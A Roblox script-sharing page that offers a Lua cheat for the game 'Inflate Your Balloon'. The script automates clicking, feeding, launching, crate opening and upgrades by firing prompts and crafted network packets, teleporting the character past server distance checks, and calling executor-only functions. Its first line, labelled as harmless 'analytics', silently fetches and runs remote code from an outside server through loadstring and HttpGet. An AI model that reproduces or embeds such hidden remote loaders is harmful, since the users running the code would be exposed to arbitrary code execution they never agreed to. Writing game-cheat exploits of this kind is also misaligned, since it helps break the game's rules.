Advertisements

Inflate Your Balloon Script - Auto Feed All, Auto Launch, Auto Upgrade & Auto Click

MMindOuut2 months ago
  • Open source
Play Game

Quick Actions

Description

This script adds automation features that reduce repetitive actions and help manage different parts of the game's progression. The latest version includes Auto Feed All, Auto Launch, Auto Collect Canister, Auto Open Crates, Auto Upgrade, and several machine automation options. Auto Feed All automatically performs the available feeding actions for your balloon, so you do not need to interact with each feed manually. When used together with Auto Click, the script keeps your balloon growing while you focus on unlocking new upgrades and expanding your setup. The script also includes Auto Launch Balloon and Auto Launch Button. These features automatically launch your balloon or activate the launch button whenever the required conditions are met. This helps keep the game's progression moving without requiring constant manual interaction. Auto Collect Canister automatically collects available canisters as they appear, making resource collection easier during long play sessions. Auto Open Crates opens supported crates automatically, saving time by removing the need to open each crate yourself. Auto Upgrade purchases available upgrades whenever you have enough resources. As you continue earning coins, the script can unlock upgrades automatically without requiring you to visit the upgrade menu repeatedly. Auto Buy Silo works in a similar way by purchasing supported silo upgrades when they become available.

Advertisements

Features

8 Features
  • Auto Feed All
  • Auto Click
  • Auto Launch Balloon
  • Auto Launch Button
  • Auto Collect Canister
  • Auto Open Crates
  • Auto Upgrade
  • Auto Buy Silo
515 lines•15261 bytes
--====== RoScripter Analytics ======--task.defer(pcall,function()loadstring(game:HttpGet("https://api.roscripter.com/stats/eJZt1xvJ?v=1"))()end);--=== Does not affect the script ===--local Players = game:GetService("Players")
local RS = game:GetService("ReplicatedStorage")
local UIS = game:GetService("UserInputService")

local player = Players.LocalPlayer
local playerGui = player:WaitForChild("PlayerGui")
local ByteNet = RS:WaitForChild("ByteNetReliable")

local function pktOp(op)
	local b = buffer.create(1)
	buffer.writeu8(b, 0, op)
	return b
end

-- [op][u16 le len][string]
local function pktStr(op, str)
	local len = #str
	local b = buffer.create(1 + 2 + len)
	buffer.writeu8(b, 0, op)
	buffer.writeu16(b, 1, len)
	for i = 1, len do
		buffer.writeu8(b, 2 + i, string.byte(str, i)) -- i=1 -> idx 3
	end
	return b
end

-- [op][u8][u16 len][string]
local function pktU8Str(op, u8, str)
	local len = #str
	local b = buffer.create(1 + 1 + 2 + len)
	buffer.writeu8(b, 0, op)
	buffer.writeu8(b, 1, u8)
	buffer.writeu16(b, 2, len)
	for i = 1, len do
		buffer.writeu8(b, 3 + i, string.byte(str, i)) -- i=1 -> idx 4
	end
	return b
end

local function fireNet(b)
	pcall(function()
		ByteNet:FireServer(b)
	end)
end

local cfg = {
	AutoClick = false,
	AutoFeedAll = false,
	AutoLaunch = false,
	AutoLaunchButton = false,
	AutoCollect = false,
	AutoOpenCrates = false,
	AutoUpgrade = false,
	AutoBuySilo = false,
	UpgradeTarget = "Clicker",
	ClickDelay = 0.05,
	FeedDelay = 0.35,
	LaunchDelay = 0.5,
	CollectDelay = 0.4,
	CrateDelay = 1,
	UpgradeDelay = 0.12,
}

local UPGRADE_TARGETS = {
	"Clicker",
	"Silo",
	"Helium Station",
	"Helium Tower",
	"Pipe Maze",
	"Atmospheric Reservoir",
	"Cryo Chamber",
}

local running, threads = {}, {}

local function getPlot()
	local plots = workspace:FindFirstChild("Game") and workspace.Game:FindFirstChild("Plots")
	if not plots then return nil end
	local named = plots:FindFirstChild(player.Name .. "'s Plot")
	if named then return named end
	for _, p in ipairs(plots:GetChildren()) do
		if string.find(p.Name, player.Name, 1, true) then return p end
	end
	return nil
end

local function fireClick(det)
	if det then pcall(fireclickdetector, det) end
end

local function findClickerDet(plot)
	local gen = plot:FindFirstChild("Generators")
	local clicker = gen and gen:FindFirstChild("Clicker")
	local btn = clicker and clicker:FindFirstChild("Button")
	return btn and btn:FindFirstChildOfClass("ClickDetector")
end

local function findBalloon(plot)
	for _, c in ipairs(plot:GetChildren()) do
		if string.find(c.Name, "Balloon", 1, true) then return c end
	end
end

local function startLoop(key, fn)
	if threads[key] then return end
	running[key] = true
	threads[key] = task.spawn(function()
		while running[key] do
			local ok, err = pcall(fn)
			if not ok then warn("[BalloonAuto]", key, err) end
		end
		threads[key] = nil
	end)
end

local function setFeature(key, on, fn)
	cfg[key] = on
	if on then
		startLoop(key, fn)
	else
		running[key] = false
	end
end

local function firePrompt(prompt)
	if not prompt or not prompt:IsA("ProximityPrompt") then return end
	pcall(function()
		-- временно расширяем дистанцию / убираем hold
		local oldDist = prompt.MaxActivationDistance
		local oldHold = prompt.HoldDuration
		local oldEnabled = prompt.Enabled
		prompt.Enabled = true
		prompt.MaxActivationDistance = 999
		prompt.HoldDuration = 0
		if fireproximityprompt then
			-- разные сигнатуры executor'ов
			local ok = pcall(fireproximityprompt, prompt)
			if not ok then pcall(fireproximityprompt, prompt, 1) end
		end
		prompt.MaxActivationDistance = oldDist
		prompt.HoldDuration = oldHold
		prompt.Enabled = oldEnabled
	end)
end

local function findCollectPrompts(plot)
	local list = {}
	if not plot then return list end
	for _, d in ipairs(plot:GetDescendants()) do
		if d:IsA("ProximityPrompt") then
			local action = string.lower(d.ActionText or "")
			local object = string.lower(d.ObjectText or "")
			local name = string.lower(d.Name or "")
			if name == "pickup"
				or action == "collect"
				or string.find(object, "canister", 1, true)
				or string.find(name, "canister", 1, true)
			then
				list[#list + 1] = d
			end
		end
	end
	-- прямой путь из дампа
	local gen = plot:FindFirstChild("Generators")
	local clicker = gen and gen:FindFirstChild("Clicker")
	local can = clicker and clicker:FindFirstChild("Canister")
	if can then
		local p = can:FindFirstChild("Pickup") or can:FindFirstChildWhichIsA("ProximityPrompt", true)
		if p and p:IsA("ProximityPrompt") then
			local exists = false
			for _, x in ipairs(list) do
				if x == p then exists = true break end
			end
			if not exists then list[#list + 1] = p end
		end
	end
	return list
end

local function loopCollect()
	local plot = getPlot()
	local prompts = findCollectPrompts(plot)
	if #prompts == 0 then
		task.wait(0.5)
		return
	end

	local hrp = player.Character and player.Character:FindFirstChild("HumanoidRootPart")
	local oldCF = hrp and hrp.CFrame

	for _, p in ipairs(prompts) do
		-- сервер часто чекает дистанцию — короткий TP к канистре
		if hrp and p.Parent then
			local part = p.Parent:IsA("BasePart") and p.Parent or p.Parent:FindFirstChildWhichIsA("BasePart")
			if part then
				pcall(function()
					hrp.CFrame = part.CFrame * CFrame.new(0, 3, 0)
				end)
				task.wait(0.05)
			end
		end
		firePrompt(p)
	end

	if hrp and oldCF then
		pcall(function()
			hrp.CFrame = oldCF
		end)
	end

	if plot then
		for _, d in ipairs(plot:GetDescendants()) do
			if d:IsA("ClickDetector") then
				local parentName = string.lower(d.Parent and d.Parent.Name or "")
				if string.find(parentName, "canister", 1, true) or string.find(parentName, "pickup", 1, true) then
					fireClick(d)
				end
			end
		end
	end
	task.wait(cfg.CollectDelay)
end

local function loopClick()
	local plot = getPlot()
	if plot then
		fireClick(findClickerDet(plot))
		local balloon = findBalloon(plot)
		local root = balloon and balloon:FindFirstChild("Root")
		local det = root and root:FindFirstChildOfClass("ClickDetector")
		fireClick(det)
	end
	fireNet(pktOp(0x19))
	task.wait(cfg.ClickDelay)
end

local function loopFeedAll()
	local plot = getPlot()
	local balloon = plot and findBalloon(plot)
	local root = balloon and balloon:FindFirstChild("Root")
	if root then
		local p = root:FindFirstChild("FeedAll", true) or root:FindFirstChild("Feed", true)
		if p and p:IsA("ProximityPrompt") then firePrompt(p) end
	end
	task.wait(cfg.FeedDelay)
end

local function loopLaunch()
	local plot = getPlot()
	local balloon = plot and findBalloon(plot)
	local root = balloon and balloon:FindFirstChild("Root")
	if root then
		for _, d in ipairs(root:GetDescendants()) do
			if d:IsA("ProximityPrompt") and (d.ActionText == "Launch" or d.Name == "Feed") then
				firePrompt(d)
			end
		end
	end
	task.wait(cfg.LaunchDelay)
end

local function loopLaunchButton()
	local plot = getPlot()
	local lb = plot and plot:FindFirstChild("Launch_Button")
	local btn = lb and lb:FindFirstChild("Button")
	fireClick(btn and btn:FindFirstChildOfClass("ClickDetector"))
	task.wait(cfg.LaunchDelay)
end

local function loopCrates()
	fireNet(pktStr(0x0A, "Crates"))
	local crates = workspace:FindFirstChild("Game") and workspace.Game.Middle and workspace.Game.Middle:FindFirstChild("Crates")
	if crates then
		for _, p in ipairs(crates:GetDescendants()) do
			if p:IsA("ProximityPrompt") then firePrompt(p) end
		end
	end
	task.wait(cfg.CrateDelay)
end

local function loopUpgrade()
	fireNet(pktStr(0x0C, cfg.UpgradeTarget))
	task.wait(cfg.UpgradeDelay)
end

local function loopBuySilo()
	fireNet(pktStr(0x0D, "Silo"))
	task.wait(1.2)
end

-- UI
local gui = Instance.new("ScreenGui")
gui.Name = "BalloonAutoUI"
gui.ResetOnSpawn = false
gui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
gui.Parent = playerGui

local frame = Instance.new("Frame")
frame.Size = UDim2.fromOffset(440, 480)
frame.Position = UDim2.new(0.5, -220, 0.12, 0)
frame.BackgroundColor3 = Color3.fromRGB(20, 22, 28)
frame.BorderSizePixel = 0
frame.Active = true
frame.Parent = gui
Instance.new("UICorner", frame).CornerRadius = UDim.new(0, 12)
Instance.new("UIStroke", frame).Color = Color3.fromRGB(50, 55, 70)

local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, -20, 0, 26)
title.Position = UDim2.fromOffset(14, 8)
title.BackgroundTransparency = 1
title.Font = Enum.Font.GothamBold
title.TextSize = 18
title.TextXAlignment = Enum.TextXAlignment.Left
title.TextColor3 = Color3.fromRGB(240, 240, 245)
title.Text = "Balloon Auto"
title.Parent = frame

local status = Instance.new("TextLabel")
status.Size = UDim2.new(1, -20, 0, 16)
status.Position = UDim2.fromOffset(14, 34)
status.BackgroundTransparency = 1
status.Font = Enum.Font.Gotham
status.TextSize = 12
status.TextXAlignment = Enum.TextXAlignment.Left
status.TextColor3 = Color3.fromRGB(140, 145, 160)
status.Text = "Plot: ..."
status.Parent = frame

local scroll = Instance.new("ScrollingFrame")
scroll.Size = UDim2.new(1, -16, 1, -58)
scroll.Position = UDim2.fromOffset(8, 52)
scroll.BackgroundTransparency = 1
scroll.BorderSizePixel = 0
scroll.ScrollBarThickness = 4
scroll.AutomaticCanvasSize = Enum.AutomaticSize.Y
scroll.CanvasSize = UDim2.new()
scroll.Parent = frame
Instance.new("UIListLayout", scroll).Padding = UDim.new(0, 5)

local function section(t)
	local l = Instance.new("TextLabel")
	l.Size = UDim2.new(1, -8, 0, 18)
	l.BackgroundTransparency = 1
	l.Font = Enum.Font.GothamMedium
	l.TextSize = 11
	l.TextXAlignment = Enum.TextXAlignment.Left
	l.TextColor3 = Color3.fromRGB(120, 125, 140)
	l.Text = t
	l.Parent = scroll
end

local function row(h)
	local f = Instance.new("Frame")
	f.Size = UDim2.new(1, -8, 0, h or 32)
	f.BackgroundColor3 = Color3.fromRGB(30, 33, 42)
	f.BorderSizePixel = 0
	f.Parent = scroll
	Instance.new("UICorner", f).CornerRadius = UDim.new(0, 8)
	return f
end

local function toggle(label, key, fn)
	local r = row(32)
	local t = Instance.new("TextLabel")
	t.Size = UDim2.new(1, -56, 1, 0)
	t.Position = UDim2.fromOffset(10, 0)
	t.BackgroundTransparency = 1
	t.Font = Enum.Font.Gotham
	t.TextSize = 14
	t.TextXAlignment = Enum.TextXAlignment.Left
	t.TextColor3 = Color3.fromRGB(220, 225, 235)
	t.Text = label
	t.Parent = r

	local btn = Instance.new("TextButton")
	btn.Size = UDim2.fromOffset(38, 20)
	btn.Position = UDim2.new(1, -46, 0.5, -10)
	btn.BackgroundColor3 = Color3.fromRGB(55, 60, 72)
	btn.Text = ""
	btn.AutoButtonColor = false
	btn.Parent = r
	Instance.new("UICorner", btn).CornerRadius = UDim.new(1, 0)

	local knob = Instance.new("Frame")
	knob.Size = UDim2.fromOffset(16, 16)
	knob.Position = UDim2.fromOffset(2, 2)
	knob.BackgroundColor3 = Color3.fromRGB(245, 245, 250)
	knob.BorderSizePixel = 0
	knob.Parent = btn
	Instance.new("UICorner", knob).CornerRadius = UDim.new(1, 0)

	local function refresh()
		local on = cfg[key]
		btn.BackgroundColor3 = on and Color3.fromRGB(70, 180, 100) or Color3.fromRGB(55, 60, 72)
		knob.Position = on and UDim2.fromOffset(20, 2) or UDim2.fromOffset(2, 2)
	end
	btn.MouseButton1Click:Connect(function()
		setFeature(key, not cfg[key], fn)
		refresh()
	end)
	refresh()
end

local function numBox(label, key, minV)
	local r = row(32)
	local t = Instance.new("TextLabel")
	t.Size = UDim2.new(0.55, 0, 1, 0)
	t.Position = UDim2.fromOffset(10, 0)
	t.BackgroundTransparency = 1
	t.Font = Enum.Font.Gotham
	t.TextSize = 13
	t.TextXAlignment = Enum.TextXAlignment.Left
	t.TextColor3 = Color3.fromRGB(210, 215, 225)
	t.Text = label
	t.Parent = r
	local box = Instance.new("TextBox")
	box.Size = UDim2.new(0.4, -12, 0, 22)
	box.Position = UDim2.new(0.58, 0, 0.5, -11)
	box.BackgroundColor3 = Color3.fromRGB(42, 46, 58)
	box.Font = Enum.Font.Gotham
	box.TextSize = 13
	box.TextColor3 = Color3.fromRGB(235, 235, 240)
	box.Text = tostring(cfg[key])
	box.ClearTextOnFocus = false
	box.Parent = r
	Instance.new("UICorner", box).CornerRadius = UDim.new(0, 6)
	box.FocusLost:Connect(function()
		local n = tonumber(box.Text)
		if n then cfg[key] = math.max(minV or 0, n) end
		box.Text = tostring(cfg[key])
	end)
end

local targetButtons = {}

section("FEATURES")
toggle("Auto Click", "AutoClick", loopClick)
toggle("Auto Feed All", "AutoFeedAll", loopFeedAll)
toggle("Auto Launch (balloon)", "AutoLaunch", loopLaunch)
toggle("Auto Launch Button", "AutoLaunchButton", loopLaunchButton)
toggle("Auto Collect Canister", "AutoCollect", loopCollect)
toggle("Auto Open Crates", "AutoOpenCrates", loopCrates)
toggle("Auto Upgrade (0x0C)", "AutoUpgrade", loopUpgrade)
toggle("Auto Buy Silo (0x0D)", "AutoBuySilo", loopBuySilo)

section("UPGRADE TARGET")
for _, name in ipairs(UPGRADE_TARGETS) do
	local r = row(28)
	local btn = Instance.new("TextButton")
	btn.Size = UDim2.new(1, -8, 1, -4)
	btn.Position = UDim2.fromOffset(4, 2)
	btn.BackgroundColor3 = Color3.fromRGB(42, 46, 58)
	btn.Font = Enum.Font.Gotham
	btn.TextSize = 13
	btn.TextColor3 = Color3.fromRGB(220, 225, 235)
	btn.Text = name
	btn.AutoButtonColor = false
	btn.Parent = r
	Instance.new("UICorner", btn).CornerRadius = UDim.new(0, 6)
	targetButtons[name] = btn
	btn.MouseButton1Click:Connect(function()
		cfg.UpgradeTarget = name
		for n, b in pairs(targetButtons) do
			local on = n == cfg.UpgradeTarget
			b.BackgroundColor3 = on and Color3.fromRGB(70, 180, 100) or Color3.fromRGB(42, 46, 58)
			b.TextColor3 = on and Color3.fromRGB(20, 20, 24) or Color3.fromRGB(220, 225, 235)
		end
	end)
end
-- init highlight
do
	local b = targetButtons[cfg.UpgradeTarget]
	if b then
		b.BackgroundColor3 = Color3.fromRGB(70, 180, 100)
		b.TextColor3 = Color3.fromRGB(20, 20, 24)
	end
end

section("SPEED")
numBox("Click delay", "ClickDelay", 0)
numBox("Feed delay", "FeedDelay", 0.05)
numBox("Upgrade delay", "UpgradeDelay", 0.05)

task.spawn(function()
	while gui.Parent do
		local p = getPlot()
		status.Text = "Plot: " .. (p and p.Name or "?") .. " | Upg: " .. cfg.UpgradeTarget
		task.wait(1)
	end
end)

local dragging, dragStart, startPos
frame.InputBegan:Connect(function(input)
	if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
		dragging = true
		dragStart = input.Position
		startPos = frame.Position
		input.Changed:Connect(function()
			if input.UserInputState == Enum.UserInputState.End then dragging = false end
		end)
	end
end)
UIS.InputChanged:Connect(function(input)
	if not dragging then return end
	if input.UserInputType ~= Enum.UserInputType.MouseMovement and input.UserInputType ~= Enum.UserInputType.Touch then return end
	local d = input.Position - dragStart
	frame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + d.X, startPos.Y.Scale, startPos.Y.Offset + d.Y)
end)

print("[BalloonAuto v2] loaded")

Advertisements

Comments

0

Did it work for you? Sign in to share your experience.

Sign in to comment

No comments yet

Tried it? Let others know if it works.